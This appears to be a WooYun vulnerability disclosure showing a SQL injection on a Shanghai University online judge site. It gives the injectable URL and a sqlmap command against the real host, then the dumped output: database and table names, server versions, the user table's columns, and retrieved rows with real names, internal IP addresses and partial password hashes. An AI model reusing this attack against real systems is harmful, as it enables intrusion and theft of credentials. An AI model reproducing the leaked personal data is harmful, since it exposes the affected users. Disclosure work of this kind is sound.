WooYun.org

注入点：http://acmoj.shu.edu.cn/openjudge/status.php?aprob_id=1&ares_id=1
sqlmap.py  -u  "http://acmoj.shu.edu.cn/openjudge/status.php?aprob_id=1&ares_id=1" -p "ares_id" --dbs
available databases [7]:
[*] information_schema
[*] luntan
[*] openjudge
[*] openjudge_con
[*] openjudge_edu
[*] test
[*] training
Database: openjudge_edu
[16 tables]
+-------------+
| group       |
| user        |
| category    |
| coll_rank   |
| collection  |
| group_coll  |
| group_rank  |
| judge       |
| prob_cate   |
| prob_coll   |
| problem     |
| solution    |
| subscriber  |
| test_case   |
| test_result |
| user_group  |
+-------------+
web server operating system: Linux Ubuntu 7.04 (Feisty Fawn)
web application technology: Apache 2.2.3, PHP 5.2.1
back-end DBMS: MySQL 5.0
[09:56:37] [INFO] fetching columns for table 'user' in database 'openjudge_edu'
[09:56:37] [INFO] the SQL query used returns 9 entries
[09:56:37] [INFO] resumed: "user_id","int(11)"
[09:56:37] [INFO] resumed: "username","varchar(32)"
[09:56:37] [INFO] resumed: "password","char(40)"
[09:56:37] [INFO] resumed: "name","varchar(50)"
[09:56:37] [INFO] resumed: "email","varchar(127)"
[09:56:37] [INFO] resumed: "privilege","tinyint(4)"
[09:56:37] [INFO] resumed: "last_ip_addr","varchar(15)"
[09:56:37] [INFO] resumed: "last_login_time","datetime"
[09:56:37] [INFO] resumed: "num_log","int(11)"
[09:56:37] [INFO] fetching entries for table 'user' in database 'openjudge_edu'
[09:56:37] [INFO] the SQL query used returns 2657 entries
[09:56:37] [WARNING] reflective value(s) found and filtering out
[09:56:37] [INFO] retrieved: "","10.105.1.200"," ","郑瑞忻","10","5e03be227a87d5
...
[09:56:38] [INFO] retrieved: "","10.105.1.200"," ","曹一名","36","d1c8037110bbd2
...